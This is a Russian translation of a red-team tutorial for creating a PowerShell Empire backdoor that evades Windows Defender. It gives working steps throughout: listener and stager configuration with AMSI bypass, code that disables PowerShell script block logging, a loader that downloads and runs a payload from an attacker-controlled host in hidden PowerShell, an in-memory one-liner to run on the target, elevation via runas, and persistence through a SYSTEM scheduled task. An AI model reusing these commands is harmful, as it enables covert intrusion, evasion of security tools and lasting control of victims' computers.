Перевод: Руководство RED TEAM - #3

Перевод: Руководство RED TEAM - #3

@Ent_TranslateIB

Обход защитника Windows — Empire edition

Темы:

  1. Установка Empire
  2. Магия, чтобы избежать обнаружения
  3. Вперед, вперед, вперед!

Обход Защитника Windows

В прошлом месяце я написал две статьи о правильном использовании SSL с помощью Powershell Empire и SSL с помощью Meterpreter. Только это (и некоторые другие техники) позволило нам обойти большинство антивирусных продуктов. Однако с некоторых пор Windows Defender, похоже, стал намного умнее и способен обнаруживать эти техники. Это руководство поможет вам создать рабочий Empire бэкдор, который не будет обнаружен Windows Defender.

1. Установка Empire

Ниже вы увидите, как я использую опции SSL, которые могут потребовать некоторых пояснений. Для объяснения, пожалуйста, прочитайте Red Team Tutorials #1 и Red Team Tutorials #2, упомянутые в предыдущем параграфе.

Загрузите Powershell Empire! И выполните следующее, чтобы получить базовую полезную нагрузку, которую мы немного изменим.

listeners
uselistener http
set Name https
set Host
https://YOURDOMAINHERE:443
set Port 443
set Launcher powershell.exe -nop -w hidden -e
set DefaultProfile /wp_includes/microsoft.php|Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36|Accept:*/*
set CertPath /opt/ssl/
set Headers Server:nginx
set UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
execute

После этого установите stager:

listeners
usestager multi/launcher
set Listener https
set Base64 False
set Obfuscate False
set SafeChecks False
set UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
set AMSIBypass True
execute

В результате вы получите полезную нагрузку (которую мы будем редактировать на следующем этапе), выглядящую следующим образом:

2. Магия, чтобы избежать обнаружения

Полезная нагрузка, которую вы получили в результате предыдущего шага, представляет собой так называемый однострочный файл.

В дальнейшем, после получения полезной нагрузки на нашей цели, наш загрузчик будет пересылать ее построчно в скрытый экземпляр powershell, поэтому сначала мы должны внести некоторые изменения. Это очень важно, поэтому будьте внимательны:

Антивирусные программы обнаруживают бэкдоры с помощью искусственного интеллекта, анализа поведения и сопоставления (частей) кода с сигнатурами. Эти сигнатуры содержат ключевые слова, и если (комбинация) ключевых слов встречается в файле, сохраненном на диске, или в запущенной программе, антивирусное программное обеспечение предупредит пользователя и попытается удалить злополучный файл или программу. Почти все антивирусные программы обнаружат и отработают вышеуказанную полезную нагрузку, поскольку она содержится в одной строке (или в одном файле, если вы сохраните и запустите его). Сочетание, например, слов [SYsTem.NeT.WEbREquest] и [SYStem.TEXt.ENcOdiNg] может дать понять антивирусу, что это бэкдор Empire.

Хитрость здесь заключается в том, чтобы выполнить каждую строку по очереди, для чего нам нужно немного подкорректировать полезную нагрузку. Для этого я использую свой любимый текстовый редактор Sublime Text. Для каждого ; в полезной нагрузке я заменяю его на ; + перевод строки. Теперь полезная нагрузка будет выглядеть следующим образом:

Почти на месте

Эта модифицированная полезная нагрузка по-прежнему будет вызывать срабатывание Windows Defender. Последняя часть, которую необходимо изменить, - это удаление части полезной нагрузки (в приведенном выше примере от строки 72 до части строки 77):

IF($ffF6){$b9be=$fff6.GETVaLUE($nulL);
IF($b9BE['ScriptB'+'lockLogging']){$b9be['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
$b9BE['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$vaL=[COllectiONs.GeneriC.DIcTIonARY[StriNg,SysTem.OBJecT]]::New();
$VaL.ADd('EnableScriptB'+'lockLogging',0);
$VAL.AdD('EnableScriptBlockInvocationLogging',0);
$B9Be['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$vaL}ElsE{[ScRiPTBLOcK]."GeTFIe`lD"('signatures','N'+'onPublic,Static').SEtVALUE($Null,(NEw-ObjEct COLLeCTIoNS.GeNERIc.HaShSET[strInG]))}

Конечный результат:

Сохраните этот файл как payload.ps1 и используйте файл полезной нагрузки с помощью веб-сервера, например Apache, nginx или модуля http.server в python.

3. Вперед, вперед, вперед!

Хорошо. Empire запущен, и у вас есть готовая полезная нагрузка. Осталось только создать небольшой Powershell-скрипт, который будет получать полезную нагрузку и выполнять ее построчно. Этот шаг очень важен, поскольку однострочный сценарий, который мы будем использовать в последнем шаге, должен получить и выполнить этот "загрузчик" в памяти.

Создайте новый файл рядом с полезной нагрузкой под названием loader.ps1 со следующим содержимым:

$file = (New-Object
System.Net.WebClient).downloadString('
http://YOURDOMAINHERE/payload.ps1')
foreach($line in $file)
{
$line | powershell -nop -w hidden
}

Осталось только выполнить однострочный удар по цели!

powershell.exe -nop -w hidden (New-Object System.Net.WebClient).downloadString('http://YOURDOMAINHERE/loader.ps1') | IEX

Вот и все! Это должно было обойти Windows Defender и большинство антивирусных программ. Хорошая работа!

ДОПОЛНЕНИЕ 1: ПОВЫШЕНИЕ

Если целевой пользователь является локальным администратором, откройте повышенный powershell следующим образом (если у вас нет графического интерфейса):

start-process PowerShell -verb runas -ArgumentList "-nop -w hidden (New-Object System.Net.WebClient).downloadString('http://YOURDOMAINHERE/loader.ps1') | IEX"

ДОПОЛНЕНИЕ 2: ЗАДАНИЕ ПО РАСПИСАНИЮ

  1. Откройте планировщик задач
  2. Создайте базовую задачу
  3. Действие: Запустить программу
  4. Тип powershell.exe
  5. Добавьте аргумент:

-nop -w hidden (New-Object System.Net.WebClient).downloadString('http://YOURDOMAINHERE/loader.ps1') | IEX

Настройте задачу, добавив свои собственные триггеры, но не забудьте изменить пользователя на SYSTEM (если у вас есть на это права).


Перевод статьи был выполнен проектом перевод энтузиаста:

  • 📚 @Ent_TranslateIB - Телеграмм канал с тематикой информационной безопасности
  • 🔥 @Ent_Translate - Инстаграм проекта

Report Page